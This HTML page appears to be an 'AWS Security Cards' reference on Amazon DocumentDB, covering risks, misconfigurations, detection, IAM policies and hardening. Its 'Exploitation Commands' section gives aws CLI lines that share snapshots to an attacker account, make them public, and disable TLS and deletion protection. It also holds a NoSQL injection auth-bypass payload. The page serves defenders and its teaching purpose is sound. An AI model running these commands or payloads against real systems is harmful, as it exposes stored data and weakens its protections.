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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Amazon DocumentDB Security | AWS Security Cards</title>
<meta name="description" content="Amazon DocumentDB is a managed document database service compatible with MongoDB wire protocol. Stores structured application data accessible via NoSQL queries.">
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</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/documentdb-card.webp" alt="Amazon DocumentDB Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/documentdb.svg" alt="Amazon DocumentDB Security" /></div>
<div>
<div>
<span class="header-title">Amazon DocumentDB Security</span>
<span class="header-badge">DATABASE</span>
</div>
<p class="header-desc">Amazon DocumentDB is a managed document database compatible with MongoDB wire protocol. It stores structured application data (user records, session data, financial documents). Snapshots can be shared publicly, TLS and audit logging are configurable parameters that can be disabled, and encryption at rest cannot be enabled after cluster creation.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">HIGH</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">VPC-only</div>
<div class="stat-label">Network</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">MongoDB 4/5/8</div>
<div class="stat-label">Compatibility</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">KMS</div>
<div class="stat-label">Encryption</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#ec4899;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #ec4899;">Document Database & Data Access</h4>
<p>DocumentDB stores structured application data accessible via MongoDB wire protocol on port 27017. Clusters run exclusively inside a VPC. Supports MongoDB 4.0, 5.0, and 8.0 compatibility modes.</p>
<div class="attack-note"><span style="color:#ec4899;">Attack note:</span> NoSQL injection techniques that work against MongoDB generally work against DocumentDB (except $where -- no server-side JavaScript). Auth bypass: {"username": {"$ne": ""}, "password": {"$ne": ""}} returns all documents.</div>
</div>
<div>
<h4 style="color: #ec4899;">Snapshots & Configuration</h4>
<p>Manual snapshots can be shared publicly or cross-account. TLS and audit logging are parameters that can be disabled. Encryption at rest is permanent -- if created unencrypted, it cannot be changed.</p>
<div class="attack-note"><span style="color:#ec4899;">Attack note:</span> An attacker with rds:ModifyDBClusterParameterGroup can set tls=disabled and audit_logs=disabled, downgrading security and reducing visibility after instance reboot.</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 80%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">8.0</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">DocumentDB stores application-level structured data (PII, credentials, financial records). Cluster-wide settings mean all databases share the same auth, TLS, and encryption. Audit logging is disabled by default. Data-plane operations are not in CloudTrail.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Initial Access</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> NoSQL injection via application ($gt, $ne, $regex)</li><li><span class="bullet" style="color: #f87171;">•</span> Credential theft from Secrets Manager / environment</li><li><span class="bullet" style="color: #f87171;">•</span> Public or cross-account snapshot restore</li><li><span class="bullet" style="color: #f87171;">•</span> VPC peering / Transit Gateway pivot to cluster endpoint</li><li><span class="bullet" style="color: #f87171;">•</span> Parameter group tampering (tls=disabled, audit_logs=disabled)</li></ul><h4 style="color: #f87171;">Persistence & Escalation</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Create backdoor database users via db.createUser()</li><li><span class="bullet" style="color: #f87171;">•</span> Snapshot exfiltration to attacker account</li><li><span class="bullet" style="color: #f87171;">•</span> Cross-region snapshot copy for durable access</li><li><span class="bullet" style="color: #f87171;">•</span> Event subscription for reconnaissance</li><li><span class="bullet" style="color: #f87171;">•</span> Disable deletion protection for ransomware path</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Critical</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> TLS disabled (tls=disabled) -- cleartext data</li><li><span class="bullet" style="color: #fb923c;">•</span> Audit logging disabled (default)</li><li><span class="bullet" style="color: #fb923c;">•</span> Public snapshots (restore attribute set to all)</li><li><span class="bullet" style="color: #fb923c;">•</span> Encryption at rest not enabled (permanent)</li><li><span class="bullet" style="color: #fb923c;">•</span> Deletion protection disabled</li></ul><h4 style="color: #fb923c;">High</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Default KMS key (aws/rds) limits cross-account control</li><li><span class="bullet" style="color: #fb923c;">•</span> Backup retention below 7 days</li><li><span class="bullet" style="color: #fb923c;">•</span> Overly permissive security group on port 27017</li><li><span class="bullet" style="color: #fb923c;">•</span> Profiler not enabled for suspicious query detection</li><li><span class="bullet" style="color: #fb923c;">•</span> Master credentials not rotated</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3><div class="cmd-block">
<div class="cmd-title">List All DocumentDB Clusters</div>
<pre><code>aws docdb describe-db-clusters \
--filter Name=engine,Values=docdb</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Check TLS and Parameter Config</div>
<pre><code>aws docdb describe-db-cluster-parameters \
--db-cluster-parameter-group-name <param-group></code></pre>
</div><div class="cmd-block">
<div class="cmd-title">List Cluster Snapshots</div>
<pre><code>aws docdb describe-db-cluster-snapshots</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Check Snapshot Sharing (Public Access)</div>
<pre><code>aws docdb describe-db-cluster-snapshot-attributes \
--db-cluster-snapshot-identifier <snapshot-id></code></pre>
</div><div class="cmd-block">
<div class="cmd-title">List Parameter Groups</div>
<pre><code>aws docdb describe-db-cluster-parameter-groups</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Data Access Escalation</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Master credentials grant full database access</li><li><span class="bullet" style="color: #c084fc;">•</span> Snapshot restore reveals all cluster data</li><li><span class="bullet" style="color: #c084fc;">•</span> Cross-account snapshot sharing for offline access</li><li><span class="bullet" style="color: #c084fc;">•</span> Parameter group modification disables security controls</li><li><span class="bullet" style="color: #c084fc;">•</span> Database user creation bypasses IAM controls</li></ul><div class="note"><strong>Key insight:</strong> DocumentDB uses the rds: IAM action namespace. Granting rds:* gives full control over all RDS and DocumentDB resources.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Data-Level</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Create database users that persist beyond IAM changes</li><li><span class="bullet" style="color: #facc15;">•</span> Snapshot exfiltration for offline data access</li><li><span class="bullet" style="color: #facc15;">•</span> Cross-region snapshot copy to attacker region</li><li><span class="bullet" style="color: #facc15;">•</span> Event subscription for continuous reconnaissance</li><li><span class="bullet" style="color: #facc15;">•</span> Maintain network access to cluster endpoint</li></ul><h4 style="color: #facc15;">Infrastructure-Level</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Disable deletion protection for future destruction</li><li><span class="bullet" style="color: #facc15;">•</span> Disable TLS for credential sniffing</li><li><span class="bullet" style="color: #facc15;">•</span> Disable audit logging to hide activity</li><li><span class="bullet" style="color: #facc15;">•</span> Reduce backup retention to limit recovery</li><li><span class="bullet" style="color: #facc15;">•</span> Add permissive security group rules</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> CreateDBClusterSnapshot - potential exfiltration precursor</li><li><span class="bullet" style="color: #4ade80;">•</span> ModifyDBClusterSnapshotAttribute - sharing changed</li><li><span class="bullet" style="color: #4ade80;">•</span> CopyDBClusterSnapshot - snapshot copied</li><li><span class="bullet" style="color: #4ade80;">•</span> ModifyDBCluster - deletion protection/backup changes</li><li><span class="bullet" style="color: #4ade80;">•</span> ModifyDBClusterParameterGroup - tls/audit changes</li></ul><h4 style="color: #4ade80;">Audit Log Indicators</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Unusual query patterns or bulk data access</li><li><span class="bullet" style="color: #4ade80;">•</span> Failed authentication attempts</li><li><span class="bullet" style="color: #4ade80;">•</span> New database user creation</li><li><span class="bullet" style="color: #4ade80;">•</span> Large collection scans or regex-based queries</li><li><span class="bullet" style="color: #4ade80;">•</span> Connections from unexpected source IPs</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid"><div class="cmd-block">
<div class="cmd-title">Share Snapshot to Attacker Account</div>
<pre><code>aws docdb modify-db-cluster-snapshot-attribute \
--db-cluster-snapshot-identifier <snap> \
--attribute-name restore \
--values-to-add <attacker-account-id></code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Make Snapshot Public</div>
<pre><code>aws docdb modify-db-cluster-snapshot-attribute \
--db-cluster-snapshot-identifier <snap> \
--attribute-name restore \
--values-to-add all</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Disable TLS via Parameter Group</div>
<pre><code>aws docdb modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name my-params \
--parameters "ParameterName=tls,ParameterValue=disabled,ApplyMethod=pending-reboot"</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Disable Deletion Protection</div>
<pre><code>aws docdb modify-db-cluster \
--db-cluster-identifier my-cluster \
--no-deletion-protection</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid"><div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Full RDS/DocumentDB Access</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": "rds:*",
"Resource": "*"
}</code></pre>
<p class="policy-desc">DocumentDB uses rds: namespace. Grants full control including snapshots, sharing, deletion, and parameter changes.</p>
</div><div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Read-Only Monitoring</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"rds:DescribeDBClusters",
"rds:DescribeDBInstances",
"rds:DescribeDBClusterSnapshots",
"rds:ListTagsForResource"
],
"Resource": "arn:aws:rds:*:*:cluster:my-docdb-*"
}</code></pre>
<p class="policy-desc">Read-only access scoped to specific DocumentDB clusters</p>
</div><div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Deny Dangerous Actions</span>
</div>
<pre><code>{
"Effect": "Deny",
"Action": "rds:ModifyDBClusterSnapshotAttribute",
"Resource": "*",
"Condition": {
"StringEquals": {
"rds:AddRestoreAccountId": "all"
}
}
}</code></pre>
<p class="policy-desc">Prevents making DocumentDB snapshots public</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid"><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Enforce TLS with Minimum Version</h4>
<p>Use custom parameter group with tls=tls1.2+ or tls=tls1.3+. Never use tls=enabled (allows TLS 1.0).</p>
<pre><code>aws docdb modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name my-params \
--parameters "ParameterName=tls,ParameterValue=tls1.2+,ApplyMethod=pending-reboot"</code></pre>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📝</span>
<div>
<h4>Enable Full Audit Logging</h4>
<p>Enable DDL and DML auditing and export to CloudWatch Logs.</p>
<pre><code>aws docdb modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name my-params \
--parameters "ParameterName=audit_logs,ParameterValue=enabled,ApplyMethod=immediate"</code></pre>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🛡️</span>
<div>
<h4>Enable Deletion Protection</h4>
<p>Prevent accidental or malicious cluster deletion.</p>
<pre><code>aws docdb modify-db-cluster --db-cluster-identifier my-cluster --deletion-protection</code></pre>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Block Public Snapshot Sharing via SCP</h4>
<p>Apply SCP to deny ModifyDBClusterSnapshotAttribute with values-to-add all at org level.</p>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔑</span>
<div>
<h4>Use Customer Managed KMS Keys</h4>
<p>Create clusters with CMK (not aws/rds) to enable custom key policies and cross-account control.</p>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔄</span>
<div>
<h4>Rotate Master Credentials via Secrets Manager</h4>
<p>Configure Secrets Manager automatic rotation. Never embed credentials in application code.</p>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>Amazon DocumentDB Security Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>